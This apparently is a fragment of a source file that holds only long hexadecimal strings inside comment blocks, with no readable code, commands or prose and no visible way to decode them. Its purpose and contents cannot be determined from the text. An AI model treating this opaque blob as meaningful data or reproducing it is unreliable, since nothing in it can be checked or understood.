0c821b71727ac7cca9f07f03cb5b1e55618bc9dc601e64b76d505a85f23218f5acb057eb0fdf02f6ef25f54a5540d43c73f1ed63602fe67e44a72e0c78854ac985b2b3f9a9747070386ff153e34bbe266be1dacbab561f295168a8aee9d2a5c5661795fd23dc49ffb73ba91644dfef02cd20c49ef9f5e35f50668b38b946e47effb6cd84995cfb82ad79248d9c693c6317c9d897a9a32c44368899b55305523c685a1cb08525c1115ac78df4a283142959d6859313e29ee1ea5b27ce3c1d0c1f46eed1cc6219d70f6cc2712db865fbdfebec22e6303508ebee23f0903b60b9bcbfae54ee612af83ebdb7465db095c45c8dfaf8207b1308fab27a007affd9cdeb87b88a82eec413fa4287dd02e4e34a9ceccd194b3c3727ed8e1358f059765b09104e1429842ef54f9c0e111e9f499304053ad265aeaadcaa9c9aeba2abad71dcf7d01bc345fa3269c4a42ab873c3801aedd89b75932f851bc816dc9067ade18c49ea40eeb55430f4ea15d4cddb3fb1cadf74c927d6f3e6432dcf63eb4fbcc8d40bd8815b7998aea88fd664f0d18ec08a60053a88133119a03b3d9eb8acfd94423a78a0a740fc914dd053fb0c7089c6e4b82eaf9c5f9721fcf028c85d96bd8aa7e465e703272d4864b3b712695c47531196c29e0e4f06904af0fcb4bcbd5319d041bad73f2d26a52e1b6ab9117d689ad0b78ef299b9124176edf1134353203367fd26d17696905a2a4dd67cdfec389454afabf224955358796a1aa74f8764455d9d25101390ef7f54372e99fd737b2c325e45f2414bff38b160ae7173a9426edc3cb30fce3ed0291f647e79b322030c0f19819cfc89dc85a65fc1a08ed4e9101a04e1e2e97d7174f89fe2937537eb482338ad110bb512a85219eb3fbd0f4978b28e6b85379deb2cbe63f4d87c16a533320f7d655be2c4c32e9351bbbea06d6b08059dc1b4246d76aebf69dc4b6672cfe16f72bab43f625d9aeb8874fcf00a5c5e8a7f534f2a05181c2c930a2c24e4f3332117649797a2ae13f3b9bac3091494029ed78fabf89a8f648c3c7921365c2d7cf8b67269e8033c006d15665368e3a5221b2daff2a02b07e208968250e84883db600e5d11c4d0b4ee143c8924347af3cee62aac49380504eb06c05808350308629f34379ce9b723099191949bf078b7bf32c3d6582b451325a5c63a9da33f5ba2d0a5c8d1a9cb8da42bc4624c90f2d7c1a1576d58bf211493c152e3824a983565fc1c956c6eeb6f96528846d23b7613c71785de66d3a9d65ab10abbbea987fb8b8c69a0bf7649ae0dccf9459e7e447385ff422406420bcd54aba969c51d69cab4ed51957f5882052075cdac4a27cea2f094f1db7fe4323a877123be33634bc139d19f7e56cb275dab98a6a226cdf4ab7ccf4f696bd6008166dbad318a3c7c22ff7a32c030234aa4179aa18581b02e218f26ed6f95ade83dae033af38e1b3c21a1776532c86d391d6fc50c1e7937eef5a4f2f5f36416cbe617e810400b1f277408ddb625d39d59040cf328a6c646501f6029ba9aa90aef0fad5e253fa6dd6e02b5bffd10670cc2029ddd548c1c216ac44c60c193d1cf5a9f8d2389d642ed01cf43cfcf662b961ea36ac41eb18746eb7df616afeab4f71da5165e9e911c8c3e981eb513bf0cf91df9b92a1f41a28b7e7fb57ac5f6d695dbc9a1bf3798f7ab125c010710c7baef552050a6af49a89202cbbe6699e730e464c03800d8a62085eaf1b6315645210410d6be5ae09baeb4c8b8952ffda130db972d6f6f1a5742186afb8292c336348481ad58e2aefd76cf9208004363fdca71a2595bcce68ae79d62bd99385b51fef4dc55d9484e1886c1d3d8ddf0f59f593928141493f56efee9e736a97fad28d0bd278d396ae39c8d696f4c24cd34511e82c289fc1425e85d7872b00e9922abb5841bd1da3a2bf385ff74740874905c1d6c9ba13f5730416*/
/*22dab22e3a28946aec458893e1a76fc26c1fda978bf7e73149d2f374130ab977ad95242c511efeda42a19615cf7778ed947b1874f14672f169692e757ec59b39a27665f1150f2895b78ebc0795593b0c26b4eee6aed4af17e920b8ae73f43ad4c5032d151d64146607efbaf73f9d53caf069fb505fbf5b3938f016e3bd9621100f9b8891e8c1e61775f124f080323b07d734b717f3d93343d2a7ca8ed4aca0d6eb0e74a3fc2cd8944f2d6d3b0a9d6ae8f0d5169aeb97aca3d8c2379624ba341c33a868fa9641a554aea2c8ffe12db46df063e9d704abbb92660edef487980f731afc0f4ecddfe193b9c9666e63f9df2db674c69bb8f13088bbb3196c7340f37f4b877928187b2fd09bdf50a652b0e493502a12a1470cfd799731fe7b57ef06f235a815e83d1fd686bf5f04c4420da17bbf4970992d362218970d3eec8200fe232cdc3da7ca858f1b5c4f488e31a7cf0b8c0485d4e756ebbbf894687b2a28b7319396034e4496a90296681ec4139f5de27afc69a045d38208098f0c1c77f24af316a062beda14ee76362e20261de7a7fd5042da3df71fee18bbd838f830d7cbbb33ad24aafed84eba52cdb8903fed068eaefb98b722167b13c6ae380b1ad53b9e7f7359e30ae422d2d747967cd656d93f3a655ae6071f0bed15d028a2f597c556ebff540dc7f8eae928a9ea7d3da467712ceb2967adde9f47d3aa917ab1bc2dedbba1274900673af6d9aaf6b5c0888027f90b4357a6e7768984b41f63ce7ca72d2bb00711d3dfdab847a64627d59a402ba8caeb712ecfc7b955024b89d44add0c697bfc4099b36c5273f4c33c752630b73d28d942d1319dc7b6c418c7881fd0296b7bbd60401fa593a17e4b892402b669c4388815d62f2633e26766fb075aa3a42cac94ef7d221c78a94e02673f52af93cd09ab654617e025da3b23c85bf775e5dd888ce948c6b85d08de26744df1cf985fdbc010b88cf881dc4ad5bc272e941ca1d3e7a19a97fa22963e1e56f521c741713df98eb04f6c8fcd183f36ba90859d319913c59af6f066b0898bc82d74748ebd25996ef34a0d909e95f19b2c19dce77d8738eaecbe40639e6845dd53845f0917ef091b18a34d3bbe2686c133af1538fa53c516fa975bd8a4dd9272d209797644981b3ca56494ce075a74c0941687237cf7527f804f297806c7af79ba7af88545da27d34af8695682f80c0b61f629d39646876fdea16cbffe6b8ad21b0e07b64a3ba5070deec7e2ebcc6ba813e56fe092dcf71ee661fd632c16bef8899cb5e0e8de1151dc38b50f6257d46bc26e58b6fa48eb502551d344c3e4ab0d07cdf696eb2308e2cdd04e09b67da55fdec1b9151bdc99a2cd6594a820b44251343687b94bb5b5056e8cc0d7855e52ca73ed943a9e72d866bf7220fbfe85bd5a3989c5c58ae8008f4ff72fe6fb31c1122b1bbe41e7539470837ede6756a28a3d0f81016608ffee46579367943cd3d183a862a6973652662793353b3de5860a172de28512090c0010590b8571716b08cfde630f3a1bcda8900c40f8287b357fabbd86030e9a20dda317b2147b88e0fb1de7cff72a2fae2c24c8910311ffb1eaae5b5d19c1a7637920e5c64281e6355a54aa7d3128d3eed3292bab8230dc544751125efcfdce14753f5a7a55cca78c45a190475f8e5949e79d420fbc0ae328cc7603534bbaa2b951d77b813b94ce8317fa1dc5af2fb7a78bde7ffdf5a0134b5e4ad4924fddd9a5c70260e537876c202d747621bf7502e76c6ddfe91581382cfb076baeb314cbdde224b2f9c4bf100deb51e964e380aef1290ae4ac2dba89d05122d21a84c8599538997cc88a00d8ee12189c8981d84b8fb6efded5b126170a36b961abaa0173d465b5c852131650e1d0ec134faf77ae9f77639021c98b8084c9e27300b1c3afff5008915474baad37aa212ca62c6086cd1ba786e209d80cf0c41fca7a67767a630d148e06c24e638cbde1b9a1090b351255602fa5f9c83aab9913ae2a78bdea89be0acc119034b1d40874cf0a676e313ce69b104ceddac147ea53abc5ea1cc0348fd3ef716bcc5185cfcdef0b75338d55729c5d002b688470d4880784be4a63d06060a1e40b1fc02f3b8d896a542df74e82c3cf53f860f51b662aa5e80d1213587b36edec1a2a6fc6f80890baed94382a1bbb307a6e74f8939de673e4917befff409207179dde39bfcbb8d6e8ba8010eea3c40f152d43dbdf75fe64ae1f03a7539da1501249ecd14a722ae8c57dd434f6538080fa7a7f0b0033b5c4043855f6240cde3cd333238ffadb093688fd81486ac04d33c7033536ce82973b197e5a6207202360b4686857f32097b33407bff4439ca9d0b1a2ada08c528c7d3322e9749af3e38a8df530ad67c1a7671d58b195deac891073f545fb5cf2e572a5a5ddd8f34282017c3b504b2e76350010370d83a6d5f2ae3b2b66716e780bbc8786d02984bd2c6de6142a81fd3dad685c359b9cacd2d25474ebaa155066c674c3e6e0b18c92ccae0962b41c3de4334c1dfc0c667a8153689fce1da84c7cc87a7e1928f98b97c5309fbf1d6ab8bd0236c179d146d5ea018ddf7bb4dd2d873b041d6c79f40c5d8f45050b63f9dc8c842720da8dbed3120775504bd299df8880a8625fa53f8bc2db56b2b6d5369e531f22cc717568c7bedc2d94433d206660441ba56b40d455b3440527583280614dd11cfd9b9f8b11d74e7793678aa8f594b7cba9fa43a6a119d456c9cb3eec1c33af1cb067d5320b0aba8ad64b153589f3aca2b03adf803848b4fa50adb86cc532b277624bdec7d4cd21e5e72cc03cfddbf36105567c*/
/*847f4dda0aaa31a6c4e8b5084a3e0fd06f7d5ede65e424f5e4ca92e47e7912731c8ee6f6658f25975a4d6e9df54286976486e3774a6cdfcab50bd089e72bcb027acbae32908622548b944cabcbaca0728a832dbaf0fd9b379061fd6db9f252d7093f3baf7561dd7ed1a59e3121fda9292c74d192c43530600d129353c3f1073df265445ac2b5fc2347b776b8df6e62b89a343e22c9acbd7da75bfaff7715867b9dde1feac4132ef0df8cf9e953b5a0c35c403e1abb882ab941050501ea0bdd3f6045da14c9439e126d16a51aee72f6d371d235a15226e212c85ec7859f24e8b02c481d1c414adbe9569f7a44a9ecd6da5ec729282850fe7442203a35154aa6ec63ae6f81b3a056aeea6f112caaa607f175ffa569322ad2103f7f62133803fe165bdbddc0118822944bbaebfcd9320ab766e6ad43eb9ed9139c30188f8e4aa49faa435f8899e596e2583c5c6f51891c2ecde1e2de5b6c5ba319baadfd6684a6333233bd63c9fdc2bdebaebfd4abf3ae67a21f3563e5a56671d6f641b8ecede646de95b3cd6561596d11c6e9ad20bd371c8bb70822c467943487ca2ff60f69edf533c9b2bad73f99637b08fbbc9ce5080850a9c20093cdc58007acbe9791757e7254042650a49b020b5fd0c2d435949fcd5c7d542ba90ce0e106d07d12a7e83d9c1025a937828ac3616f332402a80d0c2df279b0e741c935f57246d7b05fc413ad12669b49dedf6d4b17920f3f72eb02c59339df9832584c531bda2645014710e7248ba7ec1b14c8b1e77de14a5f2a06d036a6f03185a5e2c47ccfd5e2b67a5ace9be6467cf6e94adcab885deb15f5da2650b0ceb269718468459188fcf75eb669288061f36b7632c45d328298b2b6fae16bfd10dac41edfa1c96e1a6e5c3369d39659194a7f09568ca9c9d038d95907237b313e53c5adeb434c550ae1215f80d8cd5694c555d8b560539cb3cd14d214481633f43f80a9f1efea10c847cb5165d4a1027bf6e45294509415519309d09a01719aa97dd6876ce6ec05ac1f0c72596cdaeab901232c8accc0947b18efa6fae4e94b4ecae15655c7f1ece1568af4d8076ccffffdd373c334505da13e49cab0fe1fd1ff99309ba4beffe508f18044349f767f49a185b0aa191c1af7bf5918b9db648e0171aa79b4b9018e7a8bbfffeedfe92c14697ee5e9fbae0785896300ef4cac0cbc60845976a62838c8574b86b31fb17a0b381b6ee6e25cd561c117138e336fd2968ee8264072ea0e14f85fd4fbb6b9c1a82e7acec7c6bbbd83224bbad4ce9ea939c50c8efd357a253f8a04cfaf87a0567426780a364174baa17ce0acf3961e1bd28366e00d776eb17946f4d13dca2048a44c7045cf2a23c2fe35d19a1de8329b12af4b3615ef9bce3bbc137ff311a8c4e6a2cf78a3b92c89f602144241024cb2dfdaef7af131567f7deb96273d11dada614ca97498487accb8de925824eb0d0660a8ae925a21cd701cd74e92fbb2f6f91554a8d329ec6c1f3a2895ea97bee2742894a07dd1f528bdedaaa06ab216743c6387bc115c1a11566e191607de8f9cb8d76555e1715427206415887d3169f47ea96d9912bfdbea8c1919bb42be02d38ffa28bbc9d86ce18aee9848505d230b0c733b0d0e2c6f9eceff31530c6ea53e5057a939b10d2624cd1a2911aa66c3d0b920b954edaa313f4c12c719a9d26c62aed04ea8fc805423528f2b68ce657503250fd1e3abefc6bad99b0ad0e0c20db51395c161a1d4fec5111d5cbbc606e4e5b380d20b29d0c38cc0eac0d9d8c052579f6320858fb9d734d89e467ad0568e777da21e4cd16b93a98b2ff40ee6b9242df7f134e36f712f2567bd0f3e4422f87de082f48253e657d404806b8f7081829ad04270a292143382afb14668c6ec0dc7a8b05c075ec263e0d954f90e81139c3d62fce463d31720ba8d35d061e1d595f4e721c40b5d0d993b9d3c5db5671ef8528d321a7c2dddd9efe3f9d45e3f184681df53cc6312265683f584ec9ce19d626d948649e6e8da326efeab238d88ddaf6d16aa620e9393250776c8d08046e32afe16eb955097fb8cfa0175bf1154c30e9bf050be3e7018cea34eeff662b888499adf553dd1bdf4d7cfe7d5a9b66f0583fc1a30d525341bc7420588a92a21c61a4ad48bdc7a615398fe9b65f90acf006e1152a18836bb4ce30ce54e4feac116806bc76b1f2ca499f1e8a054a65b76f6c300dff40a196fbea37078d00da052db2e59eb26ce289d8c4bbfdd407f795ffbdca35f71cd97fef484223c847fca0e02552532bed0eab47956c4129a1b0fedf6fcc4d27e471bad1d52c0ecf45854feca0542ea10072916222389f0e0851578800c0aa3868cd2a9270bd03fd15dd053284bbe56fe26be4774da09513e788516f2d6b564a820bfa2292958e30dfd8cd8163b6ca9b04845feefd39c58a7a3fdbb1b817ba5adef965ab1fcce057b8fad1bf3ea2165c159a95cb071f7427bedee8736b482076cdca4c887a02a24f2588024cebc1fff97af75e0eed7998dd86852441d668917957516232868c4d19f2bc5bf93559d37aa8f5dc10abd622eb8aad6bd69bf21f764baa581bb26858fb3d10b885c62f9de52b9f5e7ab165ca0a0146d0a4b107466377bd8ed78c772018d9f36b0299eff90a3b7c1582cc06ae808d12bade450f0f5efe7fd3d19c7304cbed8285ef70666a7cd0e83169d02286d6c7403367885cf3d94d5a7ad689bfb9ce79d855f810acca689a04b4cad543aa2684e629123aca5cf5ee011feddab0ea8c3b4a868e5b112b9352ba42617ec0c78b0a63a045648dadea1004970d39470f750c3716da15e*/
/*bb6c72ff764ad3a7b4b4451e4aa67fbcfdd1120c5c7e23688d8df9e516ec742dfc267faf542348b44e8ceab34119a6d3d390fdda95e6fb7b3a2cd06675a6f4b8c41ec296dfe4cd3e4c961e77147551c938557715efd4ce3372d076eda5ca6316b72816b6fbc9f997296859150ed788375cabdf1e71235ca8cd5985b85a700c822c7193a06686aee43cbbe9628f3023464a7feb95ec82e3c89fef60dcf28e325791e694e7f12b2b216f24f736687e2c9fc127ab5ad4a962e122af2d30a8a89886767119750c42be349ea7f563a4beb3ebeef835d100000c9903dcdeefabd8164c40e0253bf886581f752f0b444d61b76facc9b39b690ee3fbd1571ac35b5f46c406b355367966b56b450df72285a8756b07a0668f32c5a5d47bc2e6e94f6993cc23b3c80ef89fdf2f8d97747fdd94ef71583f57b4d4cb257507dff7963d65114895e0a94cb6970d03e2d81ed79ddb186c7777a780da7e8520bc08962a400833806ef98c5666df8492961c1bc864f24f828eb158b8d4818cadb9a88fe92783690d10d881537228bc6667090a7c67218793292d15faf8a758e3a3b8455ad2d31308699560abce1cf74debb54da8b4768f6384787281d8cf0e94e6622249cfffd98e3a6b59f203ed10ccfcfccb49a7646bcdacac7ed7f4477b1fae8968c2be7cf4334dd409cad157ffaa7299cd8f9eef04cdad5f076a8d85ed4856ae291b8ac9e1ee2f4ba5d517f1396a31b9810e5f04fae5c44e7885544c61cbdfb23c27f67463fe1118d58394874063c4e29d49d51d0f47319b0534f00455dc5301a183995f085e75e49f83a425dcc6835819e48f1493303cc47e0b22980ecfd641656f99b3aaf89e5a3b3d41f946c700de80d8ff3a0d2a4c00fb5ed13d9e4a9b28016ee5657f1d0c32b93f3bb389b51825baa63164a5f6f915904085fe7dc4aa633882de11851e2a9e02073e4ca28ac4a0d5c14c1e485df7358cc2fc0fccf9b501f1f1fa27b5dcc81fa6636333394b19b4e01c378e3dc992e98568447d6c695f75e7d0b1e95cab1b1d1e7163209cac9160975f98b80b3936bea49d1173eafbf287b5b47ce62e5b498c5ac8c55e555e53cd7329dbeb57309a9d12b70fb1a596a25423d02aad8705d5b19c60a41f3ba999a9883ac1c5299f9ee0c8c1054bf07a8a0ca4ebcd37a5ae56ad9004b7e9455e95db1d62d04e2b6498ddd638ce79a143ec109c26d5ab00bc2d8ccfa36551e8e5e55296ca98b587a9c9495a4feaa4c50eb8338ef44b31401d468b4c93bb1e25c7da0fc4a8041b898803af5ada952471d4d457fa395411db5969da1040e4a51e111b40a90e78c1003f6a8724e76d4af071cfabd71e676861fadc6149e7cfe53fe9893355c374229e7979bb8edc906a0c8d84c8a074180c9b6df78965cd64912d5cb71755d9757b266ee0a30e4e526b323d2e7fe992f381b294b3e10e94336091c56956ec474eac8234007f4d14a82d617a813106763c604e30331371a0a7192ef0e488500be406f219ac25236e609fdd42e4d0ab14fba3fca1402bb1f42824397c29f6af17ea2b82a466aadc542823887328a6293dc75ef0364260471938aa5eb8a5ad3115a1bc17a9664809f9d9ca4e9b1b5c054ff9fa3c70a8054a2f3b6614b3bf08fcb6e1acbba02980cea14d20bacae1f516894a9e16cc644dbb6b798e272089cc82dacddf34959e6b07e193581ebc0d8cf3ce4d5b0242cfa2577ecc34c9a67ee27276f14eecb69d100bea92c44d68249be7f4223ab5666c1bd1c18019049cb1594f8cbf8633e457202841ed4848f369e7418d9ad7a8db965cdb567d2778050d547ac3ab986377033bbd6c6f618df51112635712caef7d6cad81c3b78cf7a079cd6df4667407cd6634aee599451d7ae9a13d6033a5ced8606f3b0020cff224e488342a7f9f741f52674ffc75f7dec3cb958db3516bfc7f8e91d6e66ffebaa533814beeab5dc93f327c0d041d50ed3068cf5ca54315a33149836a84c6390468c6524865a3939bca3a3ac6aa292135e9881df007513c27a736140265b7a687fd459f22a0c1ef71891f3c151a574e0abeb21d70d6ce8676f34aa093a233806f88323f9f6516bead7faad6d37165d1da015239c94ddc1d916fda2c41b590d09c45268b2e6deb108936ecc2d09fad86d8ce6e067e6af6d3ea63604c9198111193b6468ba0054edbef809ec41763edc2fac30929023c4f1c7cc547a58495b8ce9d52b8184717b1ca40e985c6c003756ebd081fab4fac450cf35393150edaf1667208a4499ec54e664f036833a4fa679ea4f6e6b3d53d602301941e66ababa38fe9687ca3bbfbe05ff5aca0cea00bc0ef73e2cab701f3f92c16392ed113c7046e66116e032154a0c2f91738e5492ea0f11b2d6d2224a52bb73b50428bec592e17f69bb13695c21e57d0dd796f48c5778231ada8d646a66073509e35bf8cf7d02be29e2415a1ff9f1a11c5a67327135d66e8c1e2d30de952fd203d422d0a6a62239c091ee4fd38c8810b86a49c8dc399766cd375cab9845d5df876297ae6b16925e410b64a4b477979aaa1ab475cf1828ddec86bcc4fc5954ae55510621bd17de21343c094b38140107ffccbb2e34459efd0168412c510e34be592e69c2fbdfdd70d2bce5870f98ef2685107ecf26ecaa1178e99e72be30bef854d5c0567c8e1442839b1a89fdd2c5cabdb0afa51d76d376568b32c5c5287d6c9fa614aabce9207cb113c6120090664aa250f55f481dd6f613c93c1cfa2043ac8c2973bb604efc2d71b1f4cac5bd4b1f172ba721aff1af37223ee9afe8ad6cd206505d7e7b097e730502c28be619ce1e63c*/
/*7a69de20129180d7efe5d3e654974b2017ac4a263c1bad993eb73b8072bb8072a7f3d44e1f6aca6d6a2de13b0bc7055d78f128da3f1c8fe1cccfe5055e21beb0e66b8f6fa117d32f1216bce591857e71b31c4070393b1a8fa4c543a0ae1fc158c380bf192102102032360335b2a9eba9050f42fe1a37bfb2c475367c07d08ec59f3f4bd1319e46c7803102054409fc1350e7b7ac37240519480abd4fa01dbcb9d32b3de3795b5d36611ddd54c4fa32d6ef5d621df1aff6328e5abc22820f961a147dd04d19cd23d7a1dd1e860e9fa76efa548c312913b98b4aa23be36d6df6f7a28bdb76f7a7bd6d10ebdc271c221e1e56a116909d0ea1e091537fd2914a4f89e9491984e4d4f445dd04dea1a5b462611282fb1176a202010a8927cba7a63c6d292f68363783f21afe0e4b535feb5de03a5e2f28ca6418d195c8e901f39e12065b3ade69f2cec5e39506fcad54db799340f6b0148cf4779e9ffdb72b7c18ca76efe993ee32b87c93e6c17fb6b052fd84ac52831509c5dc237fada3c328d9a7bf781e73b03075654672b30d1742136fcb517e52e08f56df0cb758987cbe081e4dca56c0ab9ebd0e5870e2f1b724f1e005f5393a9096fdd1ba5efb22a7e4e41ece550dc008090d0189ee688c6cfb917b6263979f8f4747163d789452b4e1e604b55dba63aaa0a6f71572566f869989a03eef81a36f0bdddf18e89cfb213a2eb69129d2465899e4cf98662d1e6e5f7da555da7f454856fbbfe9db5efa7602451382f05afb480d837529893fa6f7222080b0d34620723ed4a079cca13abab19b49dcf2ac0df44856ffd88e68829fe89dd1fdf82ab3e61b0968d78024109ae76beb63cd865391e6edb577bbefe89e4a7709342cecb69a1abd54fe270383cd3e045af99531ab950fe6b3c8e3de6343ceca19dc850dbf20770a79d5c19e61740101f139555156d76355f463a128c92d95c0854e1d0cf02759adcb8c6d21fd350592a40a30e4f63b062468953d86ab0c8ffca6d1ee0be45d6d9a2da85eb5e7050232d70a67df092a145fe2113cff98874c87a822ebc43ddb8ec94a7920583ecc1fad17b6eea98afe76f51f67cc3769b95db41d43775eb154cc49cbe3f7701ca21dbcef860f3345047716560f1a08d4d49f46816addcd51612565e7d3860e6ee287e3c01e8e2352f91cc930b571c79c7b15467e68d72391c6d18fca25967eac7646c3c85d056d75efbd4aeb637887825c05d89c5b7d54afc3b513feb59e3472f963f883879ad91de61bbdfac644252a60ba1f75c4487395c4cdebe6192fbbaa1549ce016d99f668119ecaa91449402db1a48552344c30494b595a80568852a594e45b4b67247aa8352e30e3b53dbb0a6f02e97357db7ee80f7e96e2f17ba3d607a1a8a6a9186659ca254d9ccca0e3deb378f8137c2f529307b76f4d796c5664bd3c5ed0251e0e5a1708cfd98c013160f6d437cd2cb84e1862d357b7fc2efb4b52d07a436b1d87c7df0a7e21a84fc483b8ec34e30ecad5b256cd703f411ac93bb9d5d4440c9d7129cb3c4dadcced02609796fe79b5bacff81ac01c9e42aeda1ff2811bc2d51be765ca3ece615b40d64b943ba7810fbd65631563e89f24c81441e2459e1a7022457c06135866010ceed9afc3697dfc2ec2471013d76b3a0acf03b6f92a7040f2a354fa889554465914b33b4fee1496ecf22119923b59b7087af50a6aec4ba57f266610b8589cc3c1edbb8ce25a2a907a9f1cdd8016e2d1320831c48ae8b61302f430939ef15e82a7ce944e48483077a9edc5d69b1a709cb255fe5e4fd194b576f3bbac2e04f35f475dd53919301a6d6e30ad0d71775795f78cf301edbd406cdc774c097054c44f5a8103905b309ed57daa149a3b4d06349be86ef44ca45925a6d2ba2d582d534231eafcaf4217f4cec4be1026466d4080bf9db4031df65c24043cad8f856b2c508446694fb41179ec12313c8c9faeeaadfa9486c8fabe9561386e182f69ce5e3fd39cab0a0b71f3abe56d6ef73756714fe072f960524e82a997117f8cf6ffbfee3cdde32a26803a3d73c850777edf96f7aab3e62b2282c15186aef9d1a0a83bdf1a0e3fd2a25255d9ae586976f44cdf7d9173480164c888f38624d6500d24000f6f645289590bdd2c7a2ff7a25702cb6ec538a518cddfe03917b2c14270c7a5aa7557a92daa767a0c8c7052258cd90884004775a99b6476cde8103adf0858238360de0ad5f981b2a7471bca3e3db3a49b6319160aa3c832c9b6d9c6f0c37b73efb013bf58108e8dee6d7596746aecc7b62ce9a9f2b447ccaef508ac42b561f4984c4778e5ac385a345d5c6533029b40bb14f519637319b6656b0b09d02cbfec6dae61c9b2fad9a9b16f52740abf1195cdb51c3a08286c8749a921bd6e49cacebaf847ed4313b6ad38745c377a026302bbc0dc61d25e06ec2696f6dd1eaec3fc0f5956b52ba3da9f0f386c402f60587738ee5031c0481176104f81721c05058e89c057cf6b57e671900b9636c061664fb1ce6dcf8751b75f3cc4bd22452afa2b42825f3b54607fe85ae605352e278c0381157e83f32c52d5902de5b6a7d03e661e67dd8e37484ee7dfa623d6ec0b2577b7ee9c581792f98473cb62e672cb15a4af14add0ace922224a161d375dec817266769e2560a1e9a9f74df2be24bb66af4c1e2f69d845737b1d9f36cbf36742379e233bede03d3a72d2db922fac5920b3006f6d3aec7bf2b898b3f088ac28ace21fe8af9acbb7c789f46802d622264aa1f547265a6b147c5f40cd0cabb39f7fae019cc44139f600a63a1e38acde3bfd7e7e07133179fa75504b*/
/*1a08b1bbdf16b758f45e283b7fbb5647a95251ffcb55f40f486689fa8ba82a1f1072cea391ac8189b1fedb6d7bf7aa57902b306793c13e6ffa7e7cde3a69266e83a89cb6c2635cde8febf190dd984f8a5b23c3c410373843b01363fe42a716becb52c4dffbb0df6a58d56809d52c4c92d73140cd71ea77eb33fb3376eca5d9f3e03bed03afdfaefb3841c873adde252afa9ec9512233880936b9ae5e9274bb3ffb051cd905ce418484fd920508da7e29a84a21142bedbb7a11ffaccc0444757176a371a74db6abcf3f9dd5690d1a3ab45f6bcb023c569cdebe1b93153c038a2884776b82794f0c4642c476631bdf4c2ea280152c9561e5612c6d73c473f981cde0137e544ae82416396d649131bc56ff2d9b47eb660223a479d3c8f17b29a75e1b74543d81dbd7b19d82406c632787872590547f2b30bb66e91e1377ef7e1e358d922c114bf6e5f7b486e3bfd2bd2edf25a1966750bf643d7224e080a58076ddd80faf39bbb61cbf65c109a8eded411a71322efc93533f76ade90cd86033ab6f7a49a183dc6272640b4255cceb3f85d4e0c9822ced476f1b1435e61bed178e8768e89ef024874b30f8fa9f22152c7ff615f5a58aaad0238b7cd812849cac212b2ccc3f75729b2640cdcb661b7e1259729bc6a8af1371792d1d9712f937977d4b6784c8c5f7135cb0c4f7e5c22f4b88b4b4b2c258c45df723b36f2dd091ba11e9cb47fc105175c92d47ee5ba0a8d3d8aa1160bf3e12b4fad31596a4f5e340984297f0caf596b6866026cc13a3edbe1ff0049645c2a0619cc67bd801ca298c1a075cdd0081aba0fce3e40162f5d17380c0acbe53cfe5cf3de44f0267df408ce4df3e08e9240e2bcbcbd9bd5078a191cf700804883b08c6095ef06ae8371eb1cc0176d8af32e1b3abe030602036a429a1df01626341e9df31e7aeb79343540c013977f40468d58446b78c05ecc9ba8c8ca7cf56561c515a6d870d26c3e4c92f4431ecba625160732cce9e603333c793225f486c3f1fe99dc3258a74bb423f7d5a1db3c65061bdaa668a84f71041375b0c544c16eb67115216c68b2ec95254146bf6699a8c41597a3ec0dd732be2b5503481ba0636e99fb1ef7ce7293b1cf45024abbbcc1857a78dfd00e228166229555a2f7efea073c7d9b6c93d01545cdca6a5419493c95276f9e71f2d0ef4be35934647d70bbe0cff662e26d7ba19a91a8c8216d7099a84df6e23620909677df58eb177949e8c76d832f3332686782ab5c61a4aab4bb29b4845b921eceff2a6daf15da519266981fd50602a8846b2311b3679bfafafef4ea42efd4c5f24baaf2608f19f886e63d0e7698d0992804edd68c9dbb091c9ead346d32d34121bd6bb341fb743278c39966178bc1de0d8003618115d87d25b59d830d717de0a505fb17fb8550eb2d67a4c1935f38ce3d50876a49554c618a49601069e9d1dc9e8516c4f87fd89b55edce4ff1c25837ec2fd6d4a6a7006feff08a119801d335a9c2c70b6cf299dece515d7dd5076c2cc35b59df2b9847575ecf51c1d628e2199be519334ec353e836a60cdb6c8098ff1123d3d0b2489ec4f57e8eee6ee4b9efb2464cf1ee555e9ce7483940bcaee86457234590a10171c5084b7ac6f9ca93625306f1fc615d9526752d7a9abc15441223b736c0a95ccf99abcded5f939b72a485ea2b2502603fd8f8cf1263b83bf7dc13548f914fcdc5cb96a52efe59919c21b468ed4481a32b6a9d2cf014e223b43b54e7fd53ffb0ac09e6b14ac2fc5e4dc3facb4bf2b732aba0bce92c0fa7b8e1ca5c34b15c0a2b6e99fcab563c79971c4fa7f03c295845a008e78ca31aa66c3ad0ba86523cb1ec7d86e0afebd8ad5d30da5bb30da520c4fc523af8e72a080a3c38b8ec5e20960439897ed6e86d6f541e59dc921205538f12862c9b01b8404cc9e7e423eeb52ac60e3008de64f2433e482503586be7331606aeb0d0a7a1ee64f97c8a086f49813812650ca2f02311041e5f41f5f3cce64acc2d79b2b64d8eef6b840e909f68c63f92309c1a11ddcc95581f8667facc776e09a70d875cb13121672d863d51189e186ac2f1e88b2f7546f01afe2fc3f82d177b33799c29d628b883d4e5a23834df9c4f2e0fd0fc30332f683fceb830b04d92b217b651493bcee4349aba75f6b90a3c0b234bfceaf02ec222018f647389927b3b031a40dc1eec10cabaee240fa0a3b13e9a298ef7ed78cd3526e317522c43d3de7eeb6b924b60618865059c8a9885cd2499c90fe8a0eed6bcf82eca41da9e71f65fd096cb64a68df05e456661ed094805b9a0de6ae08005b9cf8285a9c5f1196a109c63df3cb903e18c69f28b4efb9e9583178582addc38fb0c0828fdb3171f3feaa3d7977b4696f58e08a775fc7492efac1e7e8825929f0293fef9f33255c70135c646268ffb3c6b3ddad5a68b9c1a5cbdd7c7590328e8400914f650dcce179113dd8ca63fe1222da26491762de325a088456745c67dffdd7aa8bde192a187965d897713ac38953b7f84e35243f18e61544733d8c418b98827c8aa5dff06ac540b597dbf41a9404507d72eed93cecd5d9dc9ffae44a2e526deba962c1eee2ef763d39d00f7949025a63410ac9c982595380b4b0ff7ea9dfa5fbc3e9737fa860217bfddab888b4034a4fe435b9c9a03517bcec6bf5aa5009b2eed7b8fbf055b2a35afc9f0de82e8709a2435921aa8cdf421af74aea633f7ed4b0ffd3962c7d0d32e870aed8b682972a94b201e0e97a0e3e9ffdf0c98d9cb3ecd873799e9a6698cd9abc4f1885b38e48deecd19260988a57bb0db48d9e30fa310f15da4bb34ec572*/